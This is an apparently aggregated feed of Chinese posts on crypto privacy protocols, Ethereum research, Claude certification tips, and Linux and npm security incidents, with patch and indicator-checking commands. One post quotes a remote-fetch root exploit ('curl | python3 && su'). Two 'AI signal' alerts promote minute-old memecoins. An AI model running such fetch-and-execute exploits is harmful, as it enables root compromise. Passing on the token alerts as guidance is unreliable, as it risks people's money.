Moonlight防重复靠一个递增的nonce数字,Phoenix防双花靠隐藏的nullifier列表——两套完全不同的底层实现,同样解决"钱不能花两次"这个基础问题,评估账户模型别只看表面公开还是隐私。@DuskFoundation $DUSK #dusk#

吴说获悉，Clara Shikhelman、Mikhail Komarov 和 Aleksei Moskvin 提出 Shielded Bitcoin，一种无需 Bitcoin 软分叉、新区块链或可信运营方即可在 Bitcoin L1 实现隐私转账的元协议。该方案通过加密 notes、nullifier 和零知识证明隐藏交易金额、发送方、接收方及具体被花费的 notes，由任何人均可运行的 indexer 验证交易并防止双花，且无法控制用户资金；链上仍可观察到交易发生时间、notes 数量、手续费及承载数据的 Bitcoin 交易。当前方案仅覆盖隐私系统内部转账，BTC 的进入和退出机制将通过基于 PIPEs 的方案在后续论文中说明。

Ethereum Research 一篇最新研究提出，在 frame transaction 和账户抽象场景下，交易准入规则真正需要区分的不是“读取了多少状态”，而是验证逻辑是否依赖区块内交易顺序。文章将其分为三类：单写者状态、可接受旧状态根的共享状态，以及必须读取实时值的竞争状态，并认为现有多项机制本质上都是围绕这一维度设置不同门槛。作者进一步指出，只有“恰好一次”类断言，例如某个 nullifier 是否已使用、某个槽位是否仍空闲，天然需要全序协调，无法通过纯证明式准入彻底消除顺序依赖。

🤖 AI信号 (SOL) 🔥 推荐 📌 dihcoin ($dih) CA: 47NdyXat7rptYe3g8oG21hHkSuexiuPYx41GZC4wpump ⏰ 信号时间: 10:54:25 (42秒前) | 币龄: 1分钟内 💰 MC: $22,073 | 流动性: $12,595 👥 Holders: 81 | 1h涨幅: +454% | 1h成交: $17,028 🧠 聪明钱包: 3个买入 (SW-c08d, SW-3221, SW-a49c) 🤖 AI 分析（推文12条） ① 叙事：无公开叙事，疑似跟风盘。 ② 推特热度：有讨论，多为claim/CTO/投票内容；疑似KOL喊单（如9.7万粉、1.5万粉、1万粉账号），喊的是“CTO”“继续2x”。 ③ 风险评语：dev历史未知（null），description空、无官网社交信息；推文中出现多个不同CA，撞名/冒用风险高；仅靠KOL喊单，数据薄。 ⚠️ 非买入信号·可实现中位−23% DYOR Telegram频道: @ memmememjk

🤖 AI信号 (SOL) 🔥 推荐 📌 ur mom coin ($urmom) CA: Euyymp2nd1irqGa3uaqCNnVXLEQmwriscvDVporzpump ⏰ 信号时间: 11:33:44 (48秒前) | 币龄: 1分钟内 💰 MC: $15,525 | 流动性: $11,479 👥 Holders: 45 | 1h涨幅: +334% | 1h成交: $9,946 🧠 聪明钱包: 3个买入 (SW-2025, SW-b9f1, SW-e24b) 🤖 AI 分析（推文12条） ① 叙事：借“Elon说做urmom coin”的免费梗发射，无description与社交，属纯社区meme。 ② 推特热度：有讨论但多来自1.9k粉的UrmomPulse自宣；高粉账号仅挂#标签，无实质喊单，热度弱。# ③ 风险评语：dev历史为null，信息缺失；owner已弃与LP销毁仅推文自述，无独立验证；无社交、无官网，透明度低，存疑风险。 ⚠️ 非买入信号·可实现中位−23% DYOR Telegram频道: @ memmememjk

【Claude Architect 认证备考系列】 第13期｜如何确保结构化输出 JSON 准确 在 prompt 里写"请输出 JSON"，十次里总有几次多句客套话、字段名换个写法，下游解析器直接报错。这期拆解 Claude 认证考点 TS4.3 & 4.4：用 tool_use + JSON schema 把输出结构从机制上锁死，再用校验器和重试反馈环保住内容。 你将学到： - tool_use + schema：为什么"调用工具"比"嘱咐输出"可靠 - tool_choice 三个档（auto / any / 指定工具）怎么选 - schema 只管形状不管对错：能自己算的都自己算一遍 - 重试要把具体错误喂回去；缺失信息靠 optional / null / unclear 兜底

【Claude Architect 认证备考系列】 第12期｜把审查 Agent 的误报降下来 给审查 agent 加一句"保守一些"是没用的——它不知道往哪个方向收。这期用同一段代码跑三版 prompt 给你看差别，拆解 Claude 认证考点 TS4.1 & 4.2：用显式标准和 few-shot 把误报降下来。 你将学到： - 显式审查标准怎么写：把"判断"翻译成能核对的证据 - 为什么误报烧掉的是一整个类别的信任 - few-shot 示例怎么挑：边界案例，不是典型案例 - 提取任务里用一个 null 示例治住"编数"

看到Xint Code研究团队放出的CVE-2026-31431简直是王炸，换句话说通杀所有Linux发行版，致使低权限账户获得root权限： curl | python3 && su CVE-2026-31431 建议尽快更新系统，事态紧急可以先打个补丁 echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif-aead.conf rmmod algif_aead 2>/dev/null 详细参考👉

建议给你的 Agents（包括 OpenClaw）都投喂如下提示词，好好排查下是否存在这波 axios 被投毒事件影响： 参考下面这个方法排查一遍我们的环境是否存在被投毒的 axios@1.14.1 与 axios@0.30.4，及恶意模块 plain-crypto-js，不能漏，确保排查全面： Check for the malicious axios versions in your project: npm list axios 2>/dev/null | grep -E "1\.14\.1|0\.30\.4" grep -A1 '"axios"' package-lock.json | grep -E "1\.14\.1|0\.30\.4" Check for plain-crypto-js in node_modules: ls node_modules/plain-crypto-js 2>/dev/null && echo "POTENTIALLY AFFECTED" If setup.js already ran, package.jsoninside this directory will have been replaced with a clean stub. The presence of the directory is sufficient evidence the dropper executed. Check for RAT artifacts on affected systems: # macOS ls -la /Library/Caches/com.apple.act.mond 2>/dev/null && echo "COMPROMISED" # Linux ls -la /tmp/ld.py 2>/dev/null && echo "COMPROMISED" "COMPROMISED" # Windows (cmd.exe) dir "%PROGRAMDATA%\wt.exe" 2>nul && echo COMPROMISED